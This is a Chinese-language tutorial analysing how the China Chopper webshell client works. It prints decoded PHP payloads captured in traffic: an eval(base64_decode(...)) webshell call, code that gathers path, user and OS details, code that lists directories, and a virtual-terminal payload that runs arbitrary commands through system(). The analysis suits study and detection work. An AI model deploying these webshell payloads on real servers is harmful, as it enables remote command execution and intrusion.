中国菜刀使用与原理分析

中国菜刀的功能

中国菜刀是一款功能强大的webshell工具,可以用来对目标网站进行渗透获取目标系统的文件系统,对目标系统的文件系统进行管理同时也可以对获取系统的shell进行操作命令执行操作,同时可以对目标系统进行数据库操作,但是从github下载下来的菜刀对php7不支持因为php7对菜刀进行了过滤,所以需要我们下载php5进行测试。对于php7我们还可以采用中国蚁剑进行连接


文件管理

在输入了访问链接和连接地字符并且配置了字符编码之后,点击添加即可
在这里插入图片描述

显示网站根目录信息

利用我们刚刚指定的test参数,传输一些代码命令函数利用后端的eval函数进行执行

通过抓包查看菜刀发送的数据
第一个数据包如下
在这里插入图片描述
将数据整理之后如下,也就是获取当前脚本路径以及用户名和操作系统的内容

test=@eval(base64_decode($_POST[z0]))&
z0=@set_time_limit(0);//表示没有脚本运行时间上的限制
@set_magic_quotes_runtime(0);//表示不对特殊字符进行转义
echo(">|");;
$D=dirname($_SERVER["SCRIPT_FILENAME"]);//将当前执行的脚本的绝对路径的目录取出不要文件名
if($D=="")
    $D=dirname($_SERVER["PATH_TRANSLATED"]);//如果为空的话将当前脚本所在文件系统(非文档根目录)的基本路径
$R="{$D}t";
if(substr($D,0,1)!="/")
{
    foreach(range("A","Z") as $L)
        if(is_dir("{$L}:"))
            $R.="{$L}:";
}
$R.="t";
$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';//获取当前用户的id更具用户id获取用户的相关信息
$usr=($u)?$u['name']:@get_current_user();//判断是否为空是的话将当前脚本的所有者赋值给usr,不为空将用户的用户名给usr
$R.=php_uname();//将操作系统的信息给R
$R.="({$usr})";//$R=$R."({$usr})"将用户名加入到R中
print $R;;//输出R
echo("|<-");
die();//结束程序

获得了网站的路径用户和系统信息之后,发送第二个数据包获取网站目录下的文件和目录信息
在这里插入图片描述
解码整理之后如下所示,首先进如网站的根目录其次获取网站目录下的文件夹和文件的大小修改时间以及权限等信息

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$D=base64_decode($_POST["z1"]);//接收zi赋值给D
$F=@opendir($D);//打开一个目录句柄赋值给F
    if($F==NULL){
         echo("ERROR:// Path Not Found Or NoPermission!");
    }
    else{
        $M=NULL;
        $L=NULL;
        while($N=@readdir($F)){//循环读取目录信息
            $P=$D."/".$N;//将读取的内容赋值给P加上网站的路径
            $T=@date("Y-m-d H:i:s",@filemtime($P));//将文件的最近一次修改时间进行格式化一个字符串赋值给T
            @$E=substr(base_convert(@fileperms($P),10,8),-4);//获取文件的权限转为8进制截取最后4个赋值给E
            $R="t".$T."t".@filesize($P)."t".$E."";//获取文件大小加上权限加上修改时间赋值给R
            if(@is_dir($P))//如果P是一个目录
                 $M.=$N."/".$R;//将目录的信息加上目录名称给M
            else 
                 $L.=$N.$R;//不是目录就之间文件名加上文件信息给L
        }
       echo $M.$L;//输出ML,两个其中有一个是NULL
       @closedir($F);
    };
echo("|<-");
die();
&z1=D:phpstudy_proWWW  //z1的值为网站的路径在上一个数据包获取的

效果如下所示,显示文件大小时间权限
在这里插入图片描述


上传文件



下载文件



数据库管理


虚拟终端

虚拟终端也是菜刀一个很厉害的功能,可以模拟一个终端进行命令的执行,右击添加的链接选择虚拟终端可以看到菜刀发送数据包,抓包分析在这里插入图片描述
将追踪的TCP数据流进行解码之后如下,和前面的文件管理发送的第一个数据包是一样的获取网站的路径系统信息、用户信息等

test=@eval(base64_decode($_POST[z0]))&
z0=@set_time_limit(0);//表示没有脚本运行时间上的限制
@set_magic_quotes_runtime(0);//表示不对特殊字符进行转义
echo(">|");;
$D=dirname($_SERVER["SCRIPT_FILENAME"]);//将当前执行的脚本的绝对路径的目录取出不要文件名
if($D=="")
    $D=dirname($_SERVER["PATH_TRANSLATED"]);//如果为空的话将当前脚本所在文件系统(非文档根目录)的基本路径
$R="{$D}t";
if(substr($D,0,1)!="/")
{
    foreach(range("A","Z") as $L)
        if(is_dir("{$L}:"))
            $R.="{$L}:";
}
$R.="t";
$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';//获取当前用户的id更具用户id获取用户的相关信息
$usr=($u)?$u['name']:@get_current_user();//判断是否为空是的话将当前脚本的所有者赋值给usr,不为空将用户的用户名给usr
$R.=php_uname();//将操作系统的信息给R
$R.="({$usr})";//$R=$R."({$usr})"将用户名加入到R中
print $R;;//输出R
echo("|<-");
die();//结束程序

结果如下得到一个与网站路径命名的终端
在这里插入图片描述
当我们输入一条命令如dir之后继续抓包分析
在这里插入图片描述
经过解码整理之后如下所示,执行action调用cmd再进行网站根路径之下运行dir命令输出结果,这就是虚拟终端的实现其他的命令也是类似的

test=@eval.(base64_decode($_POST[action]));&action=
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);//获取脚本的路径的目录
$c=substr($d,0,1)=="/"?"-c "{$s}"":"/c "{$s}"";//如果路径的第一个字符为/那么c为-c "{$s}"也就是z2的值加上-c,
//否则c为/c "{$s}"因为在windows和Linux中选项的使用不同一个是-一个是/
$r="{$p} {$c}";//将z1的值加上c的值给r也就是cmd -c cd/d"D:phpstudy_proWWW"&dir&echo [S]&cd&echo [E]
@system($r." 2>&1",$ret);//调用system执行r将结果保存到ret中
print ($ret!=0)?"ret={$ret}":"";;//输出ret
echo("|<-");
die();&
z1=cmd&   //调用cmd
z2=cd/d"D:phpstudy_proWWW"&dir&echo [S]&cd&echo [E] //执行的命令进入网站根目录使用dir命令

中国菜刀的使用

原理分析

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>